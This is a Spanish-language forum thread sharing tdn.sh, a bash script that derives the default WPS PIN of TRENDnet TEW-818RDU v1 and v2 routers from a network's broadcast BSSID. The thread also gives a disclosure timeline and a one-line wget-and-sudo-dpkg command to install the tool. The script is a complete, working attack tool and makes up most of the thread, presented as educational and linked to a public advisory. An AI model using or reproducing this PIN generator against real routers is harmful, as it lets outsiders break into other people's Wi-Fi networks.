El libre pensamiento para un internet libre
No estas registrado.
OK ,ahora si
Falta un smiley de aplaudir
Desconectado
a mi tambien me faltaban las macs, pero ya no
dejo el codigo por si alguien lo quiere usar asim
solo son 2 lineas mas
#!/bin/bash
VERSION=ESP.1 # ver explicaciones en "REGISTRO DE CAMBIOS"
#
#
# ADVERTENCIA LEGAL
#
# tdn.sh copyleft 25 junio 2015 (kcdtv para wifi-libre)
# tdn.sh es un script bash publicado bajo terminos de la licencia GPL v3. Se puede modificar y distribuir libremente siempre que se respecten las reglas establecidas por la free software association ( ver http://gplv3.fsf.org/ )
# Además el autor prohibe expresamente el uso a fines comerciales-mercantiles directas o indirectas
#
# CREDITOS
# brecha y algorithmo = kcdtv
# codigó = kcdtv con la participación de antares_145
#
# SITIOS WEB
#
# www.wifi-libre.com
# www.crack-wifi.com
#
# FUNCION DE tdn.sh
#
# tdn.sh es un script con fines educacionales que ilustra la brecha de seguridad oficial "TRENDnet TEW-818RDU PIN Disclosure" del 28 junio 2015
# ir a : https://packetstormsecurity.com/files/132477/TRENDnet-TEW-818RDU-PIN-Disclosure.html
# Podreís encontrar una explicación mas completa y en castellano de la brecha en el tema " Algoritmo PIN para TEW-818RDU v1 (ac1900) y v2 (ac3200) de TRENDnet"
# ir a : https://www.wifi-libre.com/topic-160-algoritmo-pin-para-tew-818rdu-v1-ac1900-y-v2-ac3200-de-trendnet.html
#
# MATERIAL AFECTADO
#
# TEW-818DRU versión 1 (ac1900) : Un punto de acseso de doble banda fabricado por TRENDnet
# TEW-818RDU versión 2 (ac3200) : El utlimo (y mas rapido) punto de acseso de TRENDnet con "trial band"
#
# DESCRIPCION DE LA BRECHA
#
# 1) PARAMETROS WPS PELIGROSOS
# El WPS en mode PIN viene activado por defecto en todas las bandas (tanto par las redes "2,4Ghz" (bgn) que "5Ghz" (ac)
# El PIN asignado no se pùede cambiar, por lo tanto será siempre el PIN en uso
# El PIN asignado por defecto es el mismo para todas las redes
# Tenemos por lo tanto un PIN unico, no configurable y activado.
#
# 2) PIN GENERADO CON EL BSSID
# Es la segunda mitad del bSSID (porción "NIC") que se emplea para crear este PIN. el BSID esta emitido en claro así que cualqueira puede genrar el PIN
# Se trata de una simple conevrsión de hexadecimal a decimal invertiendo previamente el orden de los octetos. invertimos el tercer pare de digitos hexadeciamles con el primeo y obtenemos la cadena a convertir para obtenr el PIN
#
# FECHAS CLAVES DEL FULL "DISCLOSURE"
#
# 16-06-2014 : - Observo el uso de este algoritmo bastante simple en el emulador de la versión 1 (la 2 no existe a la epoca)
# 17-06-2014 : - Escribo a TRENDnet para prgeuntar si el algorithmo es el que emplean de verdad
# 29-06-2014 : - No respuesta por parte de TRENDnert asi que publico acerca de ello en crack-wifi.com http://www.crack-wifi.com/forum/topic-10657-trendnet-tew-818dru-ac19000-full-disclosure-wps-pin.html
# febrero 2015 : - Recopilo varios datos en la red dónde se puede comprobar que el algoritmo es bien el que se usa (ejemplo : https://www.youtube.com/watch?v=HyfIX1B8cx0
# 25-06-2015 : - Como la segunda versión del dispositvo emplea el mismo algoritmo publico un tema al repecto así que este script bash : https://www.wifi-libre.com/topic-160-algoritmo-pin-para-tew-818rdu-v1-ac1900-y-v2-ac3200-de-trendnet.html
# 28-06-2015 : - Se publica oficalmente como "dislosure" en packet storm : https://packetstormsecurity.com/files/132477/TRENDnet-TEW-818RDU-PIN-Disclosure.html
#
# USO DEL SCRIPT
#
# 1) Descomprimir el paquete tdn.zip (en consola, una vez situado en el directorio que contiene nuetsra descarga, "unzip tdn.zip")
# 1) Abrir un terminal y situarse con "cd ruta/directorio/tdn.sh" ("cd tdn")
# 2) Ejecutar el script con "bash tdn.sh"
#
# REGISTRO DE CAMBIOS
#
# 25 junio 2015 :
# - Salida de la versión PoC que podeís descargar desde los repositrios de packetstorm https://packetstormsecurity.com/files/download/132477/tdn.sh.txt
# 04 julio 2015 :
# - Salida de tdn.sh distribuido en acseso directo en un paquete *.zip acsesible desde https://www.wifi-libre.com/img/members/3/tdn.zip
# * Filtro bSSID sobre la primera mitad para determinar si la mac entrada por el usuario es de TRENDnet. Un mensaje de advertencia sale si la
# mac no pertenece a TRENDnet
# * Salida modifcada para dejar mas claró si el PIN en salida se ha genrado con una mac TRENDnet o no.
# ( cambios sugeridos por dk10v, gracias a el)
# 08 julio 2015 :
# - Salida de la versión "ESP.0"
# * Traducción al español del script y de los textos explicativos
# * Se añade la posibildad de relanzar el script (suggeriencia de USUARIONUEVO, gracias a el)
# 10 julio 2015 :
# - Revisión "ESP.1"
# * Se añade en pantalla de inicio la versión
# * OUI-Check (comprobación del inicio bSSID) menos restrictivos que permite el uso de letras minúsculas
##################################################################
# #
# INICIO DEL SCRIPT... ENJOY! :) #
# #
##################################################################
NOcolor="\033[0;37m" # colores definidos en variables
red="\033[1;31m"
purpple="\033[0;35m"
yellow="\033[1;33m"
white="\033[1;37m"
victorycolor="\033[1;43m"
green="\033[1;32m" # color añadido el 07-04-2015
ALGORITHM(){
SCRAMBELDNIC=$(printf `echo $BSSID | awk -F':' '{ print $6 }'``echo $BSSID | awk -F':' '{ print $5 }'``echo $BSSID | awk -F':' '{ print $4 }'`)
# Con awk y el separador ":" recogemos los campos 6,5 y 4 guardando y invirtiendo así
# el final del BSSID (variable $SCRAMBLEDNIC")
CONVERTEDMAC=$(printf '%d\n' 0x$SCRAMBELDNIC) # Conversion de hexadecimal a decimal (variable $STRING)
STRING=`expr '(' $CONVERTEDMAC '%' 10000000 ')'` # supressión del primer digito si la cadena obtenida supera 7 caracteres
}
CHECKSUM(){ # Función redacta por antares_145 de crack-wifi.com
PIN=`expr 10 '*' $STRING` # para generar el ultimo dígito del PIN WPS (suma de comprobación)
ACCUM=0
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 100000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 10000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 1000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 100 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10 ')' '%' 10 ')'`
DIGIT=`expr $ACCUM '%' 10`
CHECKSUM=`expr '(' 10 '-' $DIGIT ')' '%' 10`
PIN=$(printf '%08d\n' `expr $PIN '+' $CHECKSUM`) # Fin de la función de antares_145, ¡Gracias Maestro! ;)
}
until [ -n "$FIN" ] ;
do
echo -e "
$yellow .----------------. .----------------. .-----------------.
$yellow| .--------------. || .--------------. || .--------------. |
$yellow| |$red _________ $yellow | || |$red ________ $yellow | || |$red ____ _____$yellow | |
| |$red | _ _ |$yellow | || |$red |_ ___ .$yellow | || |$red|_ \|_ _|$yellow | |
| |$red |_/ | | \_|$yellow | || |$red | | . \ $yellow| || |$red | \ | |$yellow | |
| |$red | | $yellow | || |$red | | | | $yellow| || |$red | |\ \| |$yellow | |
| |$red _| |_ $yellow | || |$red _| |___.' / $yellow| || |$red _| |_\ |_ $yellow | |
| |$red |_____| $yellow | || |$red |________.' $yellow| || |$red|_____|\____|$yellow | |
| | | || | | || | | |
| '--------------' || '--------------' || '--------------' |$white.sh$yellow
'----------------' '----------------' '----------------'
$purpple GENERADOR DE PIN POR DEFECTO PARA$yellow TRENDNET$red TEW-818DRU$white VERSION.1$NOcolor ($red ac1900 $NOcolor)
$purpple Y$yellow TRENDNET$red TEW-818DRU$white VERSION.2$NOcolor ($red ac3200 $NOcolor)
codigo GPL.3 de$yellow kcdtv$NOcolor para
$red www.wifi-libre.com $yellow www.crack-wifi.com$NOcolor" # pantalla de "bienvenida"
echo -e "$NOcolor" # modificación 10 julio ; añadida versión en pantalla de incio.
echo -e "$green TRENDNET Macs: $white 00:14:D1 - D8:EB:97 - 3C:8C:F8 $NOcolor"
echo -e " --------------------------------------------------"
echo -e "$NOcolor"
echo -e " Entra el bSSID de la red WiFi $white 2.4$NOcolor:$yellow"
read -n 17 -ep " " BSSID # el bssid se guarda en la variable $BSSID entrada por el usuario (read)
echo -e "$NOcolor"
while !(echo $BSSID | tr a-f A-F | egrep -q "^([0-9a-fA-F]{2}:){5}[0-9a-fA-F]{2}$")
do # filtro para comprobar la validez del bssid con un bucle de antares_145
echo -e " $red Error :$white MAC No Conforme $NOcolor"
echo -e "$yellow*$NOcolor Debe entrar el bSSID entero en su formato hexadecimal con dos puntos
(ej:$red 00:90:4C:10:E4:D2$NOcolor )"
echo -e " Entra el bSSID de la red WiFi $white 2.4$NOcolor:$yellow"
read -n 17 -ep " " BSSID # el bssid se guarda en la variable $BSSID
echo -e "$NOcolor"
done
OUI=$( echo $BSSID | cut -c -8 | tr '[:lower:]' '[:upper:]') # añadido 4 julio 2015 : control sobre el inicio bssid (variable $OUI ) ## mod 10 julio 2015 : añadido inicio bSSID 3C:XXXX que faltaba en la priemra revisión - gracias USUARIONUEVO ;)
case $OUI in # estructura de control case esac para definir dos casos
D8:EB:97 | 00:14:D1 | 3C:8C:F8 ) # caso 1 : La mac pertenece a TRENDnet (según la tabla OUI de junio 2015 ) ## mod 10 julio 2015 : añadido inicio bSSID 3C:XXXX que faltaba en la priemra revisión - gracias USUARIONUEVO ;)
echo -e " $green OUI-CHECK :$white La mac pertenece a TRENDnet"
ALGORITHM # función que aplica el algoritmo
CHECKSUM # función que genera el checksum
echo -e "
$green El$yellow PIN$green por defecto de las redes $yellow 5GHz$green y$yellow 2,4GHz$green es $victorycolor$PIN$NOcolor
$NOcolor para soporte vistar $yellow www.wifi-libre.com$NOcolor
"
;;
* ) # second case : MAC adress is not from TRENDnet
echo -e " $red ¡OUI-CHECK NEGATIVO! ¡La dirección mac no pertence a TRENDnet!"
ALGORITHM
CHECKSUM
echo -e " $NOcolor (El PIN generado es $white$PIN$NOcolor)
$NOcolor para soporte visitar $yellow www.wifi-libre.com$NOcolor
"
;;
esac
echo -e " Si quiere :
-$green Volver a generar un PIN$NOcolor para otro dispositivo presiona $yellow<ENTER>$NOcolor o $yellow<ESPACIO>$NOcolor
Si quiere :
-$red salir del script$NOcolor presiona$yellow cualquier tecla$NOcolor o$yellow <CTRL+C>$NOcolor
"
read -n 1 -ep " " FIN &>/dev/null
done
exit 0
Desconectado
He abierto un tema sobre como hacer muy sencillamente un paquete .deb : Transformar un script casero en una aplicación con dpkg (*.deb)
Para tomar un ejemplo he utilizado tdn.sh así que he creado un paquete *.deb que podéis descargar aquí : tdn_1_0-0.deb
Para descargar y instalar en una sola linea:
wget https://www.wifi-libre.com/img/members/3/tdn_1_0-0.deb && sudo dpkg -i tdn_1_0-0.deb
PD: No hay ningunos cambios en el script en si.
Desconectado
Tema | Respuestas | Vistas | Ultimo mensaje |
---|---|---|---|
3 | 132 | Ayer 15:03:20 por wifiyeah | |
19 | 573 | 03-02-2023 18:25:01 por elEstudiante | |
21 | 8786 | 01-02-2023 23:46:07 por kcdtv | |
0 | 202 | 26-01-2023 19:35:15 por kcdtv | |
Pegado: |
24 | 2294 | 26-01-2023 19:00:06 por Koala |
Ultimo usuario registrado: Facu_Hok
Usuarios registrados conectados: 0
Invitados conectados: 9
Número total de usuarios registrados: 2,422
Número total de temas: 1,629
Número total de mensajes: 15,501
Atom tema feed - Impulsado por FluxBB